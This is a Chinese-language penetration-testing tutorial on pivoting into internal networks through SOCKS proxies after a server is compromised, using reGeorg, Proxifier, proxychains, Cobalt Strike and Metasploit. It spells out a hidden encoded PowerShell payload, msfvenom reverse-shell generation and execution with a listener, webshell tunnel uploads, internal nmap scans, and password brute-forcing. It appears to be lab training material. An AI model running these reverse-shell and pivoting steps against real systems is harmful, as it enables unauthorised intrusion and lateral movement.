通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang

摘要:在实际渗透过程中,当我们成功入侵了目标服务器,想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,进行进一步渗透测试时,可以用到今天要介绍的socks代理。socks在渗透测试中使用特别广泛,能够很方便地让我们与目标内网计算机之间通信,避免了一次又一次使用端口转发的麻烦。比较常见的socks5工具有htran,reGeorg等,socks4的有metasploit等,下面将逐一为大家介绍。

1 reGeorg+Proxifier代理工具

reGeorg是reDuh的继承者,利用了会话层的socks5协议,结合Proxifier使用效率更高,Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过SOCKS代理。下面提供了两个工具的下载地址:

reGeorg:https://github.com/sensepost/reGeorg

Neo-reGeorg:https://github.com/L-codes/Neo-reGeorg

Proxifier:https://proxifier.soft32.com/

Proxychains:https://sourceforge.net/projects/proxychains-ng/

下面将以php类型的网站环境为例给大家介绍如何通过reGeorg+Proxifier工具搭建代理,进行内网渗透。

图片[1]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(1) reGeorg工具安装

根据链接下载reGeorg代理工具,reGeorg代理工具是以python2为基础进行开发的,使用前需保证自己本地安装python2版本的环境并安装工具所需的urllib3库函数,详细安装过程如下图所示:

图片[2]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(2)添加reGeorg代理

根据当前目标网站可解析语言类型,选择所需上传的代理工具脚本,reGeorg 代理工具包含 PHP|JSP|ASPX|ASHX 等语言,该实验以 PHP 文件为例给大家进行介绍。

图片[3]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

当我们通过浏览器访问上传的tunnel.nosocket.php文件时,当页面显示出Georg says, ‘All seems fine’表示代理工具能够正常解析运行。

图片[4]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

在攻击机上使用 python2 运行 reGeorgSocksProxy.py 脚本配置代理,当程序执行结果显示 “Georg says, ‘All seems fine’” 表示该代理工具能够正常执行。

python reGeorgSocksProxy.py -u http://ip/tunnel.nosocket.php -p 9999图片[5]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(3)访问内网

通过浏览器插件foxyProxy工具配置socket5代理访问内网:图片[6]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[7]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

当使用没有代理功能的工具对目标内网进行渗透时,可以使用Proxifier工具能够将程序通过socks代理对内网进行渗透。详细的使用过程如下所示:

打开Proxifier软件,单击Profile->Proxy Server->add 添加本地主机的代理端口。协议选择socks5类型,可以点击check进行测试当前代理是否成功。图片[8]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

接下来,通过proxification Rules添加规则,此处添加firfox可执行文件,添加完成以后该工具的通讯流量会经过socks5代理工具进行传输,执行结果如下所示,可以通过firefox访问目标网站。图片[9]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

也可以通过proxification添加规则,添加御剑后台扫描工具,对目标网站目录进行暴力破解。图片[10]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

注:reGeorg代理工具中的 tunnel.nosocket.php 脚本适用于 php5.4< tunnel.nosocket.php< php7 的环境

2 reGeorg+proxychains代理工具

在上一节介绍了windows系统环境下使用Proxifier作为客户端,进行内网渗透,接下来将给大家介绍linux系统环境下使用proxychains作为客户端,对内网进行渗透测试。reGeorg的使用方式与上一节相同,此处对reGeorg使用不进行详细介绍。在linux系统下对目标配置好reGeorg代理,执行过程如下所示:

python reGeorgSocksProxy.py -u http://192.168.43.175/tunnel.nosocket.php -p 9999图片[11]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

在建立好reGeorg代理工具以后,需要配置proxychains.conf文件,在文件最后添加“socks5 127.0.0.1 9999”,如下图所示:图片[12]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

通过reGeorg代理工具,对目标内网主机进行端口扫描,具体执行过程如下图所示:

>>> proxychains nmap -sT -Pn 10.128.0.6图片[13]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

3 CobaltStrike代理

本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:proxychains,nmap等。攻击的拓扑结构如下图所示。图片[14]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(1)反弹shell

首先启动CobaltStrike的服务端,并执行命令如下所示:

>>> ./teamserver 192.168.43.137 xxxxxx

启动Cobaltstrike的客户端,并填写运行服务端的ip地址,端口号,用户名,及在服务端设置的密码口令。图片[15]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

进入CobaltStrike客户端控制面板以后,依次点击Attacks>Payload Generator选项,设置监听以及生成payload。图片[16]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

点击Add选项后,设置监听方式及监听的端口号,输出方式选择Powershell Command。图片[17]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

如下为生成的powershell形式的payload。图片[18]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

将复制的payload在目标服务器主机上执行,如下所示:

powershell -nop -w hidden -encodedcommand JABzAD0A******************图片[19]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

执行结束后,成功反弹目标主机的交互式shell。此处可以执行sleep 0设置与目标交互的时间周期。执行shell whoami命令,可对目标主机执行远程命令。图片[20]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(2)添加sock4代理

在获得了基础的交互shell以后,选择该beacon右键,依次点击Pivoting->SOCKS Server选项,并设定相应的端口号,此处系统默认的端口号为23612。图片[21]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[22]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[23]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

通过火狐浏览器安装proxy扩展插件,并设定socks代理,配置完成以后,便可以成功访问到内网主机192.168.237.129的web应用,相关配置如下所示:图片[24]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

我们也可以应用 proxychains 工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf 的最后一行加入 socks4 代理的配置信息。

— snippet —

[ProxyList]

# add proxy here …

# meanwile

# defaults set to “tor”

socks4 127.0.0.1 23612

通过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:

>>> proxychains nmap -sT -Pn 192.168.237.129图片[25]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

4 msf代理

本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:中国菜刀/中国蚂剑,burpsuite,metasploit,MobaXterm,一句话木马,proxychains,nmap等。攻击的拓扑结构如下图所示。图片[26]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(1)反弹Payload

攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):

>>> use exploit/multi/handler>>> set payloads linux/x64/meterpreter_reverse_tcp>>> set LHOST 192.168.124.15        #监听主机ip地址>>> set PORT 9999                  #监听主机端口号>>> exploit -j

生成反弹需要的payload文件:

>>> msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=IP LPORT =PORT -f elf > shell.elf

将生成的文件上传到目标主机,并更改payload可执行权限,并执行。

>>> chmod 777 shell.elf >>> ./shell.elf图片[27]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[28]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:图片[29]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(2)添加代理

此时需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。图片[30]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

执行指令添加路由操作。

>>> run autoroute -s 172.17.0.0/24图片[31]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

添加socks5代理:

>>> use auxiliary/server/socks5>>> run图片[32]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。

— snippet —

[ProxyList]

# add proxy here …

# meanwile

# defaults set to “tor”

socks5 127.0.0.1 1080

(3)内网探测

通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:

>>> Proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T 4 -p80图片[33]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(4)暴力破解

此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。图片[34]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。图片[35]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:图片[36]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[37]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

对拦截的数据更改口令字段,添加常用字典,此处用的字典为:top1000.txt。查看破解成功字段的真实口令为password。图片[38]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

(5)SSH弱口令

对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。

>>> proxychains nmap -sV -t -Pn -p22 127.17.0.0/24图片[39]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:图片[40]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科图片[41]-通过搭建代理进行内网渗透的几种常见方式 – 作者:安全帮anquanbang-安全小百科

本文作者:中国电信安全帮攻防团队  吴涛

来源:freebuf.com 2020-10-26 14:38:22 by: 安全帮anquanbang

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论